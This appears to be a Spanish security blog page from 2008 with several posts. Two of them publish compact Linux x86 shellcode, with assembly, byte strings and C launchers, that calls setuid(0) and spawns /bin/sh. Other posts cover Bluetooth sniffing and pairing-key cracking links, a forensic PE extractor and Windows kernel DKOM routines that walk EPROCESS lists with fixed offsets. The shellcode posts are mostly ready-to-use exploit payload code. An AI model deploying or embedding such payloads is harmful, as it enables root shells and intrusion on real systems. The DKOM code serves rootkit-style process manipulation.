Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell
POST ACTUALIZADO: http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/
Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.
La más pequeña hasta la fecha.
SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL
History:
+ v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-
setuid0-execvebinsh00-shellcode-without-null/
+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)
http://packetstormsecurity.org/filedesc/
smallest_setuid_execve_sc.c.html
v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include
const char shellcode[]= "\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";
int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by Chema Garcia (aka sch3m4)"
"\n\t + sch3m4@opensec.es"
"\n\t + http://opensec.es"
"\n\n[+] Date: 22/11/2008"
"\n\n[+] Thanks to: vlan7"
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(shellcode)-1);
(*(void (*)()) shellcode)();
return 0;
}
milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt
Avances en sniffing de dispositivos BlueTooth
Leo en el blog de Alberto Moreno Dos artículos muy interesantes sobre sniffing con dispositivos bluetooth. Uno de ellos, abarca toda la información necesaria así como los requisitos, para construir un sniffer bluetooth a partir de un adaptador bluetooth convencional. Los requisitos son:
- Chipset Cambridge Silicon Radio (CSR)
- Chipset bluetooth BC4 con memoria flash (Los adaptadores basados en memorias ROM no sirven)
http://seguridadmobile.blogspot.com/2008/11/construyendo-tu-propio-sniffer.html
El otro artículo, describe cómo haciendo uso del sniffer bluetooth, podemos sacar la clave utilizada en el emparejamiento de dos dispositivos:
http://seguridadmobile.blogspot.com/2008/11/sniffando-el-emparejamiento-bluetooth.html
GNU/Linux x86 setuid(0) & execve(“/bin/sh”,0,0) shellcode without NULL
POST ACTUALIZADO: http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/
Hacía bastante tiempo que no trabajaba con shellcodes, así que hice una para GNU/Linux x86 de 27 bytes, que ejecuta un setuid(0) y un execve("/bin/sh",0,0).
Hasta ahora, la más pequeña que he visto (pública) era de 28 bytes.
/*
Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0) Shellcode
without NULLs
Coded by Chema Garcia (aka sch3m4)
+ sch3m4@opensec.es
+ http://opensec.es
Shellcode Size: 27 bytes
Date: 13/11/2008
*/
#include
const char shellcode[]= "\x31\xC0" //xor eax,eax
"\x31\xC9" //xor ecx,ecx
"\xB0\x17" //mov al,17h
"\x60" //pusha
"\xCD\x80" //int 80h
"\x61" //popa
"\x51" //push ecx
"\x68\x6E\x2F\x73\x68" //push 0x68732f6e
"\x68\x2F\x2F\x62\x69" //push 0x69622f2f
"\x89\xE3" //mov ebx, esp
"\xB0\x0B" //mov al,0xb
"\xCD\x80"; //int 0x80
int main()
{
printf("Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0)
Shellcode without NULLs"
"\n\nCoded by Chema Garcia (aka sch3m4)"
"\n\t + sch3m4@opensec.es"
"\n\t + http://opensec.es"
"\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
//(*(void (*)()) shellcode)();
return 0;
}
global _start
section .text
_start:
xor eax,eax
xor ecx,ecx
mov al,17h;setuid
pusha
int 80h
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb;execve
int 0x80
milw0rm: http://milw0rm.com/shellcode/7115
PacketStormSecurity: http://packetstormsecurity.org/filedesc/smallnonulls-exec.txt.html
Editado: Unos días después de publicarla, vlan7 optimizó la shellcode en un byte, el código podéis verlo en su blog. Desde aquí, mis felicitaciones a vlan7.
PExtractor v0.2 Stable Released
Proyecto bajo licencia GPLv3 destinado a la informática forense.
El objetivo es crear una herramienta capaz de detectar y extraer los ficheros ejecutables (PE) contenidos en un fichero, para facilitar su posterior análisis por separado.
Tipos de archivos soportados: PE (EXE,DLL)
Mejoras de la version 0.2 Stable Release
- Código más optimizado y estructurado
- Traducido al estándar C POSIX
- Funcionamiento independiente de la plataforma
- Algunos bugs corregidos
PExtractor v.02 - Análisis y extracción sobre MS Windows
PExtractor v0.2 - Debian GNU/Linux
PExtractor v0.2 - Análisis y extracción sobre Debian GNU/Linux (1/2)
PExtractor v0.2 - Análisis y extracción sobre Debian GNU/Linux (2/2)
Descarga de binarios y source: https://sourceforge.net/projects/pextractor/
Localizando la EPROCESS
En ciertas ocasiones, cuando estamos programando en modo kernel en sistemas Windows, nos es necesario localizar la EPROCESS de algún proceso para conocer alguno/s de sus datos. Las siguientes funciones, devuelven la dirección de memoria de la EPROCESS del proceso indicado, o bien por el PID del proceso, o por el nombre de la imagen.
Localizar según el PID
unsigned long BuscaEPROCESSPidDKOM(unsigned int Pid)
{
unsigned long eproc,aux,proceso,ret;
PLIST_ENTRY lista;
unsigned int idProceso=0;
eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
//tenemos los punteros al siguiente y al anterior
lista=(LIST_ENTRY*)(eproc+0×88);
aux=(unsigned long)lista->Blink;
proceso=(unsigned long)lista;
idProceso=*((int *)(proceso+0×84));
while(proceso!=0 && aux!=proceso && Pid!=idProceso)//recorremos la lista
{
proceso-=0×88;
ret=proceso;
idProceso=*((int *)(proceso+0×84));
//avanzamos
lista=lista->Flink;
proceso=(unsigned long)lista;
}
if(Pid!=idProceso)
{
ret=0;
#ifdef DEBUG
DbgPrint("DKOM: Coincidencia no encontrada");
}else{
DbgPrint("DKOM: Coincidencia PID=%d",Pid);
#endif
}
return ret;
}
Localizar según el nombre de la imagen
unsigned long BuscaEPROCESSNombreDKOM(unsigned char *Nombre)
{
unsigned long eproc,aux,proceso,ret=0;
PLIST_ENTRY lista;
unsigned char *p;
eproc=(unsigned long)PsGetCurrentProcess();//estamos en "System"
//tenemos los punteros al siguiente y al anterior
lista=(LIST_ENTRY*)(eproc+0×88);
aux=(unsigned long)lista->Blink;
proceso=(unsigned long)lista;
p=(unsigned char *)(proceso+0×174);
/* Recorremos la lista (comparando con la longitud del proceso
que nos dice el sistema, y no con el de el usuario */
while(proceso!=0 && aux!=proceso && p!=0 &&
strncmp(Nombre,p,strlen(Nombre))!=0)
{
proceso-=0×88;
ret=proceso;
p=(unsigned char *)(proceso+0×174);
//avanzamos
lista=lista->Flink;
proceso=(unsigned long)lista;
}
if(strncmp(Nombre,p,strlen(Nombre))!=0)
{
ret=0;
#ifdef DEBUG
DbgPrint("DKOM: Coincidencia no encontrada");
}else{
DbgPrint("DKOM: Coincidencia: %s",Nombre);
#endif
}
return ret;
}




